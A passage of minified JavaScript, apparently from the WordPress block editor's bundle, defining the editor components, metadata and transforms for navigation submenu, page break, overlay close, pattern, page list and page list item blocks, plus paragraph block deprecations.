Ae=(0,$r.useBlockProps)({ref:(0,ew.useMergeRefs)([R,F]),className:w("wp-block-navigation-item",{"is-editing":t||G,"is-dragging-within":P,"has-link":!!c,"has-child":X,"has-text-color":!!de||!!Ve,[(0,$r.getColorClassName)("color",de)]:!!de,"has-background":!!Ne||ae,[(0,$r.getColorClassName)("background-color",Ne)]:!!Ne,"open-on-click":y,"open-always":g==="always"}),style:{color:!de&&Ve,backgroundColor:!Ne&&ae},onKeyDown:Be}),re=cd(i,!0),fe=V>=h?$X.filter(je=>je!=="core/navigation-submenu"):$X,rt=o3(re),tt=(0,$r.useInnerBlocksProps)(rt,{allowedBlocks:fe,defaultBlock:vi,directInsert:!0,__experimentalCaptureToolbars:!0,renderAppender:t||K&&!ee||X?$r.InnerBlocks.ButtonBlockAppender:!1}),Yt=y?"button":"a";function he(){let je=(0,ZX.createBlock)("core/navigation-link",e);B(l,je)}(0,os.useEffect)(()=>{!X&&oe&&(E(),he())},[X,oe]);let wt=!ee||ne;return(0,Nr.jsxs)(Nr.Fragment,{children:[(0,Nr.jsx)($r.BlockControls,{children:(0,Nr.jsxs)(qv.ToolbarGroup,{children:[!y&&(0,Nr.jsx)(qv.ToolbarButton,{name:"link",icon:Yn,title:(0,Qh.__)("Link"),shortcut:X3.displayShortcut.primary("k"),onClick:()=>{M(!0)}}),(0,Nr.jsx)(qv.ToolbarButton,{name:"revert",icon:AP,title:(0,Qh.__)("Convert to Link"),onClick:he,className:"wp-block-navigation__submenu__revert",disabled:!wt})]})}),(0,Nr.jsx)($r.InspectorControls,{group:"content",children:(0,Nr.jsx)(Vv,{attributes:e,setAttributes:r,clientId:l,isLinkEditable:!y})}),(0,Nr.jsxs)("div",{...Ae,children:[(0,Nr.jsxs)(Yt,{className:"wp-block-navigation-item__content",children:[!ie&&!le&&(0,Nr.jsxs)(Nr.Fragment,{children:[(0,Nr.jsx)($r.RichText,{ref:$,identifier:"label",className:"wp-block-navigation-item__label",value:s,onChange:je=>r({label:je}),onMerge:a,onReplace:n,"aria-label":(0,Qh.__)("Navigation link text"),placeholder:H,withoutInteractiveFormatting:!0,onClick:()=>{!y&&!c&&M(!0)}}),u&&(0,Nr.jsx)("span",{className:"wp-block-navigation-item__description",children:u})]}),(ie||le)&&(0,Nr.jsx)(Fv,{label:s,isInvalid:ie,isDraft:le,className:"wp-block-navigation-item__label"}),!y&&D&&(0,Nr.jsx)(Jc,{clientId:l,link:e,entity:{entityRecord:C,hasBinding:k,isEntityAvailable:S},onClose:()=>{M(!1)},anchor:O,onRemove:()=>{r({url:""}),(0,qX.speak)((0,Qh.__)("Link removed."),"assertive")},onChange:je=>{let{isEntityLink:xe,attributes:ot}=fd(je,r,e);xe?x(ot):_()}})]}),(f||y)&&(0,Nr.jsx)("span",{className:"wp-block-navigation__submenu-icon",children:(0,Nr.jsx)(WX,{})}),(0,Nr.jsx)("div",{...tt})]})]})}var QX=o(T(),1),YX=o(v(),1);function XX(){return(0,YX.jsx)(QX.InnerBlocks.Content,{})}var vd=o(U(),1),Yxe={to:[{type:"block",blocks:["core/navigation-link"],isMatch:(e,t)=>t?.innerBlocks?.length===0,transform:e=>(0,vd.createBlock)("core/navigation-link",e)},{type:"block",blocks:["core/spacer"],isMatch:(e,t)=>t?.innerBlocks?.length===0,transform:()=>(0,vd.createBlock)("core/spacer")},{type:"block",blocks:["core/site-logo"],isMatch:(e,t)=>t?.innerBlocks?.length===0,transform:()=>(0,vd.createBlock)("core/site-logo")},{type:"block",blocks:["core/home-link"],isMatch:(e,t)=>t?.innerBlocks?.length===0,transform:()=>(0,vd.createBlock)("core/home-link")},{type:"block",blocks:["core/social-links"],isMatch:(e,t)=>t?.innerBlocks?.length===0,transform:()=>(0,vd.createBlock)("core/social-links")},{type:"block",blocks:["core/search"],isMatch:(e,t)=>t?.innerBlocks?.length===0,transform:()=>(0,vd.createBlock)("core/search")}]},JX=Yxe;var{fieldsKey:Xxe,formKey:Jxe}=Z(eJ.privateApis),{name:tJ}=K3,tw={icon:({context:e})=>e==="list-view"?Tc:sp,__experimentalLabel(e,{context:t}){let{label:r}=e,a=e?.metadata?.name;return(t==="list-view"||t==="breadcrumb")&&a?a:r},edit:KX,example:{attributes:{label:(0,Zv._x)("About","Example link text for Navigation Submenu"),type:"page"}},save:XX,transforms:JX};window.__experimentalContentOnlyInspectorFields&&(tw[Xxe]=[{id:"label",label:(0,Zv.__)("Label"),type:"text",Edit:"rich-text"},{id:"link",label:(0,Zv.__)("Link"),type:"url",Edit:"link",getValue:({item:e})=>({url:e.url,rel:e.rel}),setValue:({value:e})=>({url:e.url,rel:e.rel})}],tw[Jxe]={fields:["label","link"]});var e_e=()=>N({name:tJ,metadata:K3,settings:tw});var ED={};q(ED,{init:()=>o_e,metadata:()=>rw,name:()=>uJ,settings:()=>mJ});var rJ=o(I(),1),oJ=o(T(),1),ID=o(v(),1);function aJ(){return(0,ID.jsx)("div",{...(0,oJ.useBlockProps)(),children:(0,ID.jsx)("span",{children:(0,rJ.__)("Page break")})})}var rw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/nextpage",title:"Page Break",category:"design",description:"Separate your content into a multi-page experience.",keywords:["next page","pagination"],parent:["core/post-content"],textdomain:"default",supports:{customClassName:!1,className:!1,html:!1,visibility:!1,interactivity:{clientNavigation:!0},customCSS:!1},editorStyle:"wp-block-nextpage-editor"};var nJ=o(j(),1),iJ=o(v(),1);function lJ(){return(0,iJ.jsx)(nJ.RawHTML,{children:"<!--nextpage-->"})}var sJ=o(U(),1),r_e={from:[{type:"raw",schema:{"wp-block":{attributes:["data-block"]}},isMatch:e=>e.dataset&&e.dataset.block==="core/nextpage",transform(){return(0,sJ.createBlock)("core/nextpage",{})}}]},cJ=r_e;var{name:uJ}=rw,mJ={icon:HT,example:{},transforms:cJ,edit:aJ,save:lJ},o_e=()=>N({name:uJ,metadata:rw,settings:mJ});var DD={};q(DD,{init:()=>n_e,metadata:()=>ow,name:()=>hJ,settings:()=>gJ});var fJ=o(Vc(),1);var Yh=o(T(),1),Js=o(A(),1),eu=o(I(),1);var on=o(v(),1);function pJ({attributes:e,setAttributes:t}){let{displayMode:r,text:a}=e,n=r==="icon"||r==="both",i=r==="text"||r==="both",l=a||(0,eu.__)("Close"),s=(0,Yh.useBlockProps)({className:"wp-block-navigation-overlay-close"}),c=W();return(0,on.jsxs)(on.Fragment,{children:[(0,on.jsx)(Yh.InspectorControls,{children:(0,on.jsx)(Js.__experimentalToolsPanel,{label:(0,eu.__)("Settings"),resetAll:()=>t({displayMode:"icon"}),dropdownMenuProps:c,children:(0,on.jsx)(Js.__experimentalToolsPanelItem,{label:(0,eu.__)("Display Mode"),isShownByDefault:!0,hasValue:()=>r!=="icon",onDeselect:()=>t({displayMode:"icon"}),children:(0,on.jsxs)(Js.__experimentalToggleGroupControl,{label:(0,eu.__)("Display Mode"),value:r,onChange:u=>t({displayMode:u}),isBlock:!0,__next40pxDefaultSize:!0,children:[(0,on.jsx)(Js.__experimentalToggleGroupControlOption,{value:"icon",label:(0,eu.__)("Icon")}),(0,on.jsx)(Js.__experimentalToggleGroupControlOption,{value:"text",label:(0,eu.__)("Text")}),(0,on.jsx)(Js.__experimentalToggleGroupControlOption,{value:"both",label:(0,eu.__)("Both")})]})})})}),(0,on.jsxs)("button",{...s,type:"button","aria-label":i?void 0:(0,eu.__)("Close"),children:[n&&(0,on.jsx)(Fa,{icon:cp}),i&&(0,on.jsx)(Yh.RichText,{identifier:"text",value:l,onChange:u=>t({text:u}),tagName:"span",className:"wp-block-navigation-overlay-close__text",allowedFormats:["core/bold","core/italic"]})]})]})}var ow={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/navigation-overlay-close",title:"Navigation Overlay Close",category:"design",description:"A customizable button to close overlays.",keywords:["close","overlay","navigation","menu"],textdomain:"default",attributes:{displayMode:{type:"string",enum:["icon","text","both"],default:"icon"},text:{type:"string"}},supports:{color:{gradients:!1,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{padding:!0,__experimentalDefaultControls:{padding:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-navigation-overlay-close"};var aw=o(L(),1),ND=o(v(),1),dJ=(0,ND.jsx)(aw.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,ND.jsx)(aw.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2Zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12ZM15 8l-3 3-3-3-1.1 1.1 3 3-3 3L9 16.2l3-3 3 3 1.1-1.1-3-3 3-3L15 8Z"})});var{name:hJ}=ow,gJ={icon:dJ,edit:pJ},n_e=()=>((0,fJ.addFilter)("blockEditor.__unstableCanInsertBlockType","core/navigation-overlay-close/restrict-to-overlay-template-parts",(e,t)=>t.name!=="core/navigation-overlay-close"||!e?e:Wv()),N({name:hJ,metadata:ow,settings:gJ}));var MD={};q(MD,{init:()=>u_e,metadata:()=>nw,name:()=>wJ,settings:()=>CJ});var nw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/pattern",title:"Pattern Placeholder",category:"theme",description:"Show a block pattern.",supports:{html:!1,inserter:!1,renaming:!1,visibility:!1,interactivity:{clientNavigation:!0}},textdomain:"default",attributes:{slug:{type:"string"}}};var xJ=o(U(),1),Pm=o(z(),1),lw=o(j(),1),Bm=o(T(),1),_J=o(Y(),1),sw=o(I(),1);var vJ=o(z(),1),LD=new WeakMap;function bJ(){let e=(0,vJ.useRegistry)();if(!LD.has(e)){let t=new Map;LD.set(e,l_e.bind(null,t))}return LD.get(e)}function l_e(e,{name:t,blocks:r}){let a=[...r];for(;a.length;){let n=a.shift();for(let i of n.innerBlocks??[])a.unshift(i);n.name==="core/pattern"&&s_e(e,t,n.attributes.slug)}}function s_e(e,t,r){if(e.has(t)||e.set(t,new Set),e.get(t).add(r),yJ(e,t))throw new TypeError(`Pattern ${t} has a circular dependency and cannot be rendered.`)}function yJ(e,t,r=new Set,a=new Set){r.add(t),a.add(t);let n=e.get(t)??new Set;for(let i of n)if(r.has(i)){if(a.has(i))return!0}else if(yJ(e,i,r,a))return!0;return a.delete(t),!1}var iw=o(v(),1),c_e=({attributes:e,clientId:t})=>{let r=(0,Pm.useRegistry)(),a=(0,Pm.useSelect)(g=>g(Bm.store).__experimentalGetParsedPattern(e.slug),[e.slug]),n=(0,Pm.useSelect)(g=>g(_J.store).getCurrentTheme()?.stylesheet,[]),{replaceBlocks:i,setBlockEditingMode:l,__unstableMarkNextChangeAsNotPersistent:s}=(0,Pm.useDispatch)(Bm.store),{getBlockRootClientId:c,getBlockEditingMode:u}=(0,Pm.useSelect)(Bm.store),[m,p]=(0,lw.useState)(!1),d=bJ();function f(g){return g.innerBlocks.find(b=>b.name==="core/template-part")&&(g.innerBlocks=g.innerBlocks.map(b=>(b.name==="core/template-part"&&b.attributes.theme===void 0&&(b.attributes.theme=n),b))),g.name==="core/template-part"&&g.attributes.theme===void 0&&(g.attributes.theme=n),g}(0,lw.useEffect)(()=>{if(!m&&a?.blocks){try{d(a)}catch{p(!0);return}window.queueMicrotask(()=>{let g=c(t),b=a.blocks.map(_=>(0,xJ.cloneBlock)(f(_)));b.length===1&&a.categories?.length>0&&(b[0].attributes={...b[0].attributes,metadata:{...b[0].attributes.metadata,categories:a.categories,patternName:a.name,name:b[0].attributes.metadata.name||a.title}});let y=u(g);r.batch(()=>{s(),l(g,"default"),s(),i(t,b),s(),l(g,y)})})}},[t,m,a,s,i,u,l,c]);let h=(0,Bm.useBlockProps)();return m?(0,iw.jsx)("div",{...h,children:(0,iw.jsx)(Bm.Warning,{children:(0,sw.sprintf)((0,sw.__)('Pattern "%s" cannot be rendered inside itself.'),a?.name)})}):(0,iw.jsx)("div",{...h})},kJ=c_e;var{name:wJ}=nw,CJ={edit:kJ},u_e=()=>N({name:wJ,metadata:nw,settings:CJ});var VD={};q(VD,{init:()=>h_e,metadata:()=>cw,name:()=>MJ,settings:()=>AJ});var cw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/page-list",title:"Page List",category:"widgets",allowedBlocks:["core/page-list-item"],description:"Display a list of all pages.",keywords:["menu","navigation"],textdomain:"default",attributes:{parentPageID:{type:"integer",default:0},isNested:{type:"boolean",default:!1}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","style","openSubmenusOnClick","submenuVisibility"],supports:{anchor:!0,reusable:!1,html:!1,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},color:{text:!0,background:!0,link:!0,gradients:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0},spacing:{padding:!0,margin:!0,__experimentalDefaultControls:{padding:!1,margin:!1}},contentRole:!0},editorStyle:"wp-block-page-list-editor",style:"wp-block-page-list"};var NJ=o(U(),1),Na=o(T(),1),Ea=o(A(),1),Ia=o(I(),1),as=o(j(),1),DJ=o(Y(),1),mw=o(z(),1);var AD=o(U(),1),SJ=o(z(),1),TJ=o(T(),1);function p_e(e=[]){let t="post-type",r={},a=[];return e.forEach(({id:n,title:i,link:l,type:s,parent:c})=>{let u=r[n]?.innerBlocks??[];r[n]=(0,AD.createBlock)("core/navigation-link",{id:n,label:i.rendered,url:l,type:s,kind:t,metadata:{bindings:Uh(t)}},u),c?(r[c]||(r[c]={innerBlocks:[]}),r[c].innerBlocks.push(r[n])):a.push(r[n])}),a}function PJ(e,t){for(let r of e){if(r.attributes.id===t)return r;if(r.innerBlocks&&r.innerBlocks.length){let a=PJ(r.innerBlocks,t);if(a)return a}}return null}function d_e(e=[],t=null){let r=p_e(e);if(t){let n=PJ(r,t);n&&n.innerBlocks&&(r=n.innerBlocks)}let a=n=>{n.forEach((i,l,s)=>{let{attributes:c,innerBlocks:u}=i;if(u.length!==0){a(u);let m=(0,AD.createBlock)("core/navigation-submenu",c,u);s[l]=m}})};return a(r),r}function BJ({clientId:e,pages:t,parentClientId:r,parentPageID:a}){let{replaceBlock:n,selectBlock:i}=(0,SJ.useDispatch)(TJ.store);return()=>{let l=d_e(t,a);n(e,l),i(r)}}var Qv=o(A(),1),RD=o(ue(),1),Kv=o(I(),1),bd=o(v(),1),zD=(0,Kv.__)("This Navigation Menu displays your website's pages. Editing it will enable you to add, delete, or reorder pages. However, new pages will no longer be added automatically.");function uw({onClick:e,onClose:t,disabled:r}){return(0,bd.jsxs)(Qv.Modal,{onRequestClose:t,title:(0,Kv.__)("Edit Page List"),className:"wp-block-page-list-modal",aria:{describedby:(0,RD.useInstanceId)(uw,"wp-block-page-list-modal__description")},children:[(0,bd.jsx)("p",{id:(0,RD.useInstanceId)(uw,"wp-block-page-list-modal__description"),children:zD}),(0,bd.jsxs)("div",{className:"wp-block-page-list-modal-buttons",children:[(0,bd.jsx)(Qv.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:t,children:(0,Kv.__)("Cancel")}),(0,bd.jsx)(Qv.Button,{__next40pxDefaultSize:!0,variant:"primary",accessibleWhenDisabled:!0,disabled:r,onClick:e,children:(0,Kv.__)("Edit")})]})]})}var Pt=o(v(),1),IJ=100,EJ=()=>{};function f_e({blockProps:e,innerBlocksProps:t,hasResolvedPages:r,blockList:a,pages:n,parentPageID:i}){if(!r)return(0,Pt.jsx)("div",{...e,children:(0,Pt.jsx)("div",{className:"wp-block-page-list__loading-indicator-container",children:(0,Pt.jsx)(Ea.Spinner,{className:"wp-block-page-list__loading-indicator"})})});if(n===null)return(0,Pt.jsx)("div",{...e,children:(0,Pt.jsx)(Ea.Notice,{status:"warning",isDismissible:!1,children:(0,Ia.__)("Page List: Cannot retrieve Pages.")})});if(n.length===0)return(0,Pt.jsx)("div",{...e,children:(0,Pt.jsx)(Ea.Notice,{status:"info",isDismissible:!1,children:(0,Ia.__)("Page List: Cannot retrieve Pages.")})});if(a.length===0){let l=n.find(s=>s.id===i);return l?.title?.rendered?(0,Pt.jsx)("div",{...e,children:(0,Pt.jsx)(Na.Warning,{children:(0,Ia.sprintf)((0,Ia.__)('Page List: "%s" page has no children.'),l.title.rendered)})}):(0,Pt.jsx)("div",{...e,children:(0,Pt.jsx)(Ea.Notice,{status:"warning",isDismissible:!1,children:(0,Ia.__)("Page List: Cannot retrieve Pages.")})})}if(n.length>0)return(0,Pt.jsx)("ul",{...t})}function LJ({context:e,clientId:t,attributes:r,setAttributes:a}){let{parentPageID:n}=r,[i,l]=(0,as.useState)(!1),s=(0,as.useCallback)(()=>l(!0),[]),c=()=>l(!1),u=W(),{records:m,hasResolved:p}=(0,DJ.useEntityRecords)("postType","page",{per_page:IJ,_fields:["id","link","menu_order","parent","title","type"],orderby:"menu_order",order:"asc"}),d="showSubmenuIcon"in e&&m?.length>0&&m?.length<=IJ,f=(0,as.useMemo)(()=>m===null?new Map:m.sort((M,O)=>M.menu_order===O.menu_order?M.title.rendered.localeCompare(O.title.rendered):M.menu_order-O.menu_order).reduce((M,O)=>{let{parent:R}=O;return M.has(R)?M.get(R).push(O):M.set(R,[O]),M},new Map),[m]),h=(0,Na.useBlockProps)({className:w("wp-block-page-list",{"has-text-color":!!e.textColor,[(0,Na.getColorClassName)("color",e.textColor)]:!!e.textColor,"has-background":!!e.backgroundColor,[(0,Na.getColorClassName)("background-color",e.backgroundColor)]:!!e.backgroundColor,"open-on-click":e.submenuVisibility==="click","open-always":e.submenuVisibility==="always"}),style:{...e.style?.color}}),g=(0,as.useMemo)(function D(M=0,O=0){let R=f.get(M);return R?.length?R.reduce((F,P)=>{let H=f.has(P.id),$={value:P.id,label:"\u2014 ".repeat(O)+P.title.rendered,rawName:P.title.rendered};return F.push($),H&&F.push(...D(P.id,O+1)),F},[]):[]},[f]),b=(0,as.useMemo)(function D(M=n){let O=f.get(M);return O?.length?O.reduce((R,F)=>{let P=f.has(F.id),H={id:F.id,label:F.title?.rendered?.trim()!==""?F.title?.rendered:(0,Ia.__)("(no title)"),title:F.title?.rendered?.trim()!==""?F.title?.rendered:(0,Ia.__)("(no title)"),link:F.url,hasChildren:P},$=null,V=D(F.id);return $=(0,NJ.createBlock)("core/page-list-item",H,V),R.push($),R},[]):[]},[f,n]),{isNested:y,hasSelectedChild:_,parentClientId:x,hasDraggedChild:k,isChildOfNavigation:S}=(0,mw.useSelect)(D=>{let{getBlockParentsByBlockName:M,hasSelectedInnerBlock:O,hasDraggedInnerBlock:R}=D(Na.store),F=M(t,"core/navigation-submenu",!0),P=M(t,"core/navigation",!0);return{isNested:F.length>0,isChildOfNavigation:P.length>0,hasSelectedChild:O(t,!0),hasDraggedChild:R(t,!0),parentClientId:P[0]}},[t]),C=BJ({clientId:t,pages:m,parentClientId:x,parentPageID:n}),E=(0,Na.useInnerBlocksProps)(h,{renderAppender:!1,__unstableDisableDropZone:!0,templateLock:S?!1:"all",onInput:EJ,onChange:EJ,value:b}),{selectBlock:B}=(0,mw.useDispatch)(Na.store);return(0,as.useEffect)(()=>{(_||k)&&(s(),B(x))},[_,k,x,B,s]),(0,as.useEffect)(()=>{a({isNested:y})},[y,a]),(0,Pt.jsxs)(Pt.Fragment,{children:[(g.length>0||d)&&(0,Pt.jsx)(Na.InspectorControls,{children:(0,Pt.jsxs)(Ea.__experimentalToolsPanel,{label:(0,Ia.__)("Settings"),resetAll:()=>{a({parentPageID:0})},dropdownMenuProps:u,children:[g.length>0&&(0,Pt.jsx)(Ea.__experimentalToolsPanelItem,{label:(0,Ia.__)("Parent Page"),hasValue:()=>n!==0,onDeselect:()=>a({parentPageID:0}),isShownByDefault:!0,children:(0,Pt.jsx)(Ea.ComboboxControl,{__next40pxDefaultSize:!0,className:"editor-page-attributes__parent",label:(0,Ia.__)("Parent"),value:n,options:g,onChange:D=>a({parentPageID:D??0}),help:(0,Ia.__)("Choose a page to show only its subpages.")})}),d&&(0,Pt.jsxs)("div",{style:{gridColumn:"1 / -1"},children:[(0,Pt.jsx)("p",{children:zD}),(0,Pt.jsx)(Ea.Button,{__next40pxDefaultSize:!0,variant:"primary",accessibleWhenDisabled:!0,disabled:!p,onClick:C,children:(0,Ia.__)("Edit")})]})]})}),d&&(0,Pt.jsxs)(Pt.Fragment,{children:[(0,Pt.jsx)(Na.BlockControls,{group:"other",children:(0,Pt.jsx)(Ea.ToolbarButton,{title:(0,Ia.__)("Edit"),onClick:s,children:(0,Ia.__)("Edit")})}),i&&(0,Pt.jsx)(uw,{onClick:C,onClose:c,disabled:!p})]}),(0,Pt.jsx)(f_e,{blockProps:h,innerBlocksProps:E,hasResolvedPages:p,blockList:b,pages:m,parentPageID:n})]})}var{name:MJ}=cw,AJ={icon:jT,example:{},edit:LJ},h_e=()=>N({name:MJ,metadata:cw,settings:AJ});var UD={};q(UD,{init:()=>b_e,metadata:()=>pw,name:()=>VJ,settings:()=>FJ});var pw={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/page-list-item",title:"Page List Item",category:"widgets",parent:["core/page-list"],description:"Displays a page inside a list of all pages.",keywords:["page","menu","navigation"],textdomain:"default",attributes:{id:{type:"number"},label:{type:"string"},title:{type:"string"},link:{type:"string"},hasChildren:{type:"boolean"}},usesContext:["textColor","customTextColor","backgroundColor","customBackgroundColor","overlayTextColor","customOverlayTextColor","overlayBackgroundColor","customOverlayBackgroundColor","fontSize","customFontSize","showSubmenuIcon","style","openSubmenusOnClick","submenuVisibility"],supports:{anchor:!0,reusable:!1,html:!1,lock:!1,inserter:!1,__experimentalToolbar:!1,interactivity:{clientNavigation:!0}},editorStyle:"wp-block-page-list-editor",style:"wp-block-page-list"};var fw=o(T(),1),RJ=o(z(),1),HD=o(Y(),1),jD=o(Ri(),1);var dw=o(A(),1),FD=o(v(),1),OD=()=>(0,FD.jsx)(dw.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 12 12",fill:"none",children:(0,FD.jsx)(dw.Path,{d:"M1.50002 4L6.00002 8L10.5 4",strokeWidth:"1.5"})});var an=o(v(),1);function v_e(){return(0,RJ.useSelect)(e=>{if(!e(HD.store).canUser("read",{kind:"root",name:"site"}))return;let r=e(HD.store).getEntityRecord("root","site");return r?.show_on_front==="page"&&r?.page_on_front},[])}function zJ({context:e,attributes:t}){let{id:r,label:a,link:n,hasChildren:i,title:l}=t,s="showSubmenuIcon"in e,c=v_e(),u=e.submenuVisibility,m=u==="click",p=cd(e,!0),d=o3(p),f=(0,fw.useBlockProps)(d,{className:"wp-block-pages-list__item"}),h=(0,fw.useInnerBlocksProps)(f);return(0,an.jsxs)("li",{className:w("wp-block-pages-list__item",{"has-child":i,"wp-block-navigation-item":s,"open-on-click":m,"open-always":u==="always","open-on-hover-click":u==="hover"&&e.showSubmenuIcon,"menu-item-home":r===c}),children:[i&&m?(0,an.jsxs)(an.Fragment,{children:[(0,an.jsx)("button",{type:"button",className:"wp-block-navigation-item__content wp-block-navigation-submenu__toggle","aria-expanded":"false",dangerouslySetInnerHTML:{__html:(0,jD.safeHTML)(a)}}),(0,an.jsx)("span",{className:"wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon",children:(0,an.jsx)(OD,{})})]}):(0,an.jsx)("a",{className:w("wp-block-pages-list__item__link",{"wp-block-navigation-item__content":s}),href:n,dangerouslySetInnerHTML:{__html:(0,jD.safeHTML)(l)}}),i&&(0,an.jsxs)(an.Fragment,{children:[!m&&e.showSubmenuIcon&&(0,an.jsx)("button",{className:"wp-block-navigation-item__content wp-block-navigation-submenu__toggle wp-block-page-list__submenu-icon wp-block-navigation__submenu-icon","aria-expanded":"false",type:"button",children:(0,an.jsx)(OD,{})}),(0,an.jsx)("ul",{...h})]})]},r)}var{name:VJ}=pw,FJ={__experimentalLabel:({label:e})=>e,icon:Tc,example:{},edit:zJ},b_e=()=>N({name:VJ,metadata:pw,settings:FJ});var KD={};q(KD,{init:()=>P_e,metadata:()=>og,name:()=>_w,settings:()=>xw});var yw=o(I(),1);var oee=o(U(),1);var OJ=o(j(),1),po=o(T(),1),GD=o(I(),1),ec=o(v(),1),Xh={className:!1},WD={align:{type:"string"},content:{type:"string",source:"html",selector:"p",default:""},dropCap:{type:"boolean",default:!1},placeholder:{type:"string"},textColor:{type:"string"},backgroundColor:{type:"string"},fontSize:{type:"string"},direction:{type:"string",enum:["ltr","rtl"]},style:{type:"object"}},hw=e=>{if(!e.customTextColor&&!e.customBackgroundColor&&!e.customFontSize)return e;let t={};(e.customTextColor||e.customBackgroundColor)&&(t.color={}),e.customTextColor&&(t.color.text=e.customTextColor),e.customBackgroundColor&&(t.color.background=e.customBackgroundColor),e.customFontSize&&(t.typography={fontSize:e.customFontSize});let{customTextColor:r,customBackgroundColor:a,customFontSize:n,...i}=e;return{...i,style:t}},Jh=e=>{let{align:t,...r}=e;return t?{...r,style:{...e.style,typography:{...e.style?.typography,textAlign:t}}}:e},{style:OKe,...Yv}=WD,y_e=[{supports:{className:!1,typography:{fontSize:!0}},attributes:WD,isEligible(e){return!!e.align||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save({attributes:e}){let{align:t,content:r,dropCap:a,direction:n}=e,i=w({"has-drop-cap":t===((0,GD.isRTL)()?"left":"right")||t==="center"?!1:a,[`has-text-align-${t}`]:t});return(0,ec.jsx)("p",{...po.useBlockProps.save({className:i,dir:n}),children:(0,ec.jsx)(po.RichText.Content,{value:r})})},migrate:Jh},{supports:Xh,attributes:{...Yv,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"}},migrate:Jh,save({attributes:e}){let{align:t,content:r,dropCap:a,direction:n}=e,i=w({"has-drop-cap":t===((0,GD.isRTL)()?"left":"right")||t==="center"?!1:a,[`has-text-align-${t}`]:t});return(0,ec.jsx)("p",{...po.useBlockProps.save({className:i,dir:n}),children:(0,ec.jsx)(po.RichText.Content,{value:r})})}},{supports:Xh,attributes:{...Yv,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"}},migrate(e){return hw(Jh(e))},save({attributes:e}){let{align:t,content:r,dropCap:a,backgroundColor:n,textColor:i,customBackgroundColor:l,customTextColor:s,fontSize:c,customFontSize:u,direction:m}=e,p=(0,po.getColorClassName)("color",i),d=(0,po.getColorClassName)("background-color",n),f=(0,po.getFontSizeClass)(c),h=w({"has-text-color":i||s,"has-background":n||l,"has-drop-cap":a,[`has-text-align-${t}`]:t,[f]:f,[p]:p,[d]:d}),g={backgroundColor:d?void 0:l,color:p?void 0:s,fontSize:f?void 0:u};return(0,ec.jsx)(po.RichText.Content,{tagName:"p",style:g,className:h||void 0,value:r,dir:m})}},{supports:Xh,attributes:{...Yv,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"}},migrate(e){return hw(Jh(e))},save({attributes:e}){let{align:t,content:r,dropCap:a,backgroundColor:n,textColor:i,customBackgroundColor:l,customTextColor:s,fontSize:c,customFontSize:u,direction:m}=e,p=(0,po.getColorClassName)("color",i),d=(0,po.getColorClassName)("background-color",n),f=(0,po.getFontSizeClass)(c),h=w({"has-text-color":i||s,"has-background":n||l,"has-drop-cap":a,[f]:f,[p]:p,[d]:d}),g={backgroundColor:d?void 0:l,color:p?void 0:s,fontSize:f?void 0:u,textAlign:t};return(0,ec.jsx)(po.RichText.Content,{tagName:"p",style:g,className:h||void 0,value:r,dir:m})}},{supports:Xh,attributes:{...Yv,customTextColor:{type:"string"},customBackgroundColor:{type:"string"},customFontSize:{type:"number"},width:{type:"string"}},migrate(e){return hw(Jh(e))},save({attributes:e}){let{width:t,align:r,content:a,dropCap:n,backgroundColor:i,textColor:l,customBackgroundColor:s,customTextColor:c,fontSize:u,customFontSize:m}=e,p=(0,po.getColorClassName)("color",l),d=(0,po.getColorClassName)("background-color",i),f=u&&`is-${u}-text`,h=w({[`align${t}`]:t,"has-background":i||s,"has-drop-cap":n,[f]:f,[p]:p,[d]:d}),g={backgroundColor:d?void 0:s,color:p?void 0:c,fontSize:f?void 0:m,textAlign:r};return(0,ec.jsx)(po.RichText.Content,{tagName:"p",style:g,className:h||void 0,value:a})}},{supports:Xh,attributes:{...Yv,fontSize:{type:"number"}},save({attributes:e}){let{width:t,align:r,content:a,dropCap:n,backgroundColor:i,textColor:l,fontSize:s}=e,c=w({[`align${t}`]:t,"has-background":i,"has-drop-cap":n});return(0,ec.jsx)("p",{style:{backgroundColor:i,color:l,fontSize:s,textAlign:r},className:c||void 0,children:a})},migrate(e){return hw(Jh({...e,customFontSize:Number.isFinite(e.fontSize)?e.fontSize:void 0,customTextColor:e.textColor&&e.textColor[0]==="#"?e.textColor:void 0,customBackgroundColor:e.backgroundColor&&e.backgroundColor[0]==="#"?e.backgroundColor:void 0}))}},{supports:Xh,attributes:{...WD,content:{type:"string",source:"html",default:""}},save({attributes:e}){return(0,ec.jsx)(OJ.RawHTML,{children:e.content})},migrate:e=>e}],HJ=y_e;var 